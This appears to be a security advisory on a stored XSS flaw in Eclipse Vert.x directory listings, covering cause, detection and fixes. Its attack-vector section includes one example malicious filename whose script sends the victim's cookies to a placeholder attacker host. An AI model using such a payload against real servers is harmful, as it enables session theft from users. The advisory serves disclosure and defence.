CVE-2025-11966: Eclipse Vert.x XSS Vulnerability

CVE-2025-11966 Overview

CVE-2025-11966 is a stored cross-site scripting (XSS) vulnerability in Eclipse Vert.x when the directory listing feature is enabled. The framework inserts file and directory names into generated HTML without escaping the href, title, and link attributes. An attacker with the ability to create or rename files within a served path can craft filenames that contain malicious HTML or JavaScript. When another user views the directory listing, the injected script executes in their browser context. The flaw is tracked under [CWE-79] and affects Eclipse Vert.x versions 4.0.0 through 4.5.21 and 5.0.0 through 5.0.4.

Critical Impact
Stored XSS allows attackers to execute arbitrary JavaScript in the browsers of users viewing affected Vert.x directory listings, enabling session theft, credential capture, or drive-by actions.

Affected Products

Eclipse Vert.x versions 4.0.0 through 4.5.21
Eclipse Vert.x versions 5.0.0 through 5.0.4
Applications using StaticHandler with directory listing enabled

Discovery Timeline

2025-10-22 - CVE-2025-11966 published to NVD
2026-06-17 - Last updated in NVD database

Technical Details for CVE-2025-11966

Vulnerability Analysis

Eclipse Vert.x is a reactive toolkit for building applications on the JVM. Its web module provides a StaticHandler that can serve directory listings when a client requests a folder path. The handler builds an HTML page listing every entry in the directory and links each entry back to the served URL.

The vulnerability stems from missing output encoding. File and directory names are concatenated directly into HTML attributes such as href, title, and anchor text. An attacker who can write to the served directory can create a file whose name contains characters like ", <, or >. When Vert.x renders the listing, those characters break out of the attribute or tag context and execute as HTML or JavaScript.

Because the payload is stored on the filesystem, every visitor to the directory listing receives the malicious response. Attackers can hijack sessions, exfiltrate cookies not marked HttpOnly, perform actions on behalf of the victim, or pivot to internal endpoints reachable from the browser.

Root Cause

The root cause is improper neutralization of input during web page generation [CWE-79]. The directory listing renderer trusts filesystem entry names as safe HTML content. No HTML entity encoding is applied to &, <, >, ", or ' before insertion into the response body.

Attack Vector

Exploitation requires two conditions. First, directory listing must be explicitly enabled on a StaticHandler route. Second, the attacker must control filenames within the served directory, either through an upload feature, a shared storage mount, or a co-tenant relationship on the host. The attacker creates a file such as "><script>fetch('//attacker/'+document.cookie)</script>.txt, and any authenticated user browsing the listing triggers the payload.

Refer to the Eclipse GitLab Vulnerability Report for the upstream disclosure.

Detection Methods for CVE-2025-11966

Indicators of Compromise

Files or directories in Vert.x-served paths with names containing <, >, ", ', or script substrings
Outbound HTTP requests from user browsers to unexpected domains shortly after visiting a directory listing endpoint
Web server access logs showing requests to directory paths served by StaticHandler followed by anomalous referrer chains

Detection Strategies

Audit Vert.x application configuration for calls to StaticHandler.setDirectoryListing(true) and enumerate directories exposed by those routes
Scan filesystem paths served by Vert.x for entries whose names contain HTML metacharacters or reserved JavaScript keywords
Inspect rendered directory listing HTML for unescaped angle brackets or attribute-breaking quote characters inside href or title values

Monitoring Recommendations

Alert on filesystem create or rename events in served directories where the resulting name contains <, >, or "
Monitor Content Security Policy (CSP) violation reports from browsers accessing Vert.x endpoints
Log and review upload activity that terminates in directories reachable via a StaticHandler route

How to Mitigate CVE-2025-11966

Immediate Actions Required

Upgrade Eclipse Vert.x to a fixed release beyond 4.5.21 in the 4.x line or beyond 5.0.4 in the 5.x line
Disable directory listing on all StaticHandler routes unless the feature is required
Restrict who can write to filesystem paths served by Vert.x, particularly on multi-tenant hosts
Rename or remove any existing files whose names contain HTML metacharacters

Patch Information

Eclipse has published a fix through the vulnerability report at Eclipse GitLab Issue 303. Upgrade to the patched Vert.x release for your major version and redeploy affected services. Verify the deployed artifact version at runtime after upgrading.

Workarounds

Set StaticHandler.setDirectoryListing(false) and serve a curated index page instead
Enforce filename validation on any upload endpoint, rejecting names containing <, >, ", ', &, or control characters
Deploy a strict Content Security Policy that disables inline script execution on routes rendering directory listings
Place a reverse proxy in front of Vert.x that strips or encodes HTML metacharacters in response bodies for listing endpoints

bash

# Configuration example: disable directory listing in Vert.x Web
# Java
router.route("/files/*").handler(
  StaticHandler.create("served")
    .setDirectoryListing(false)
    .setIncludeHidden(false)
);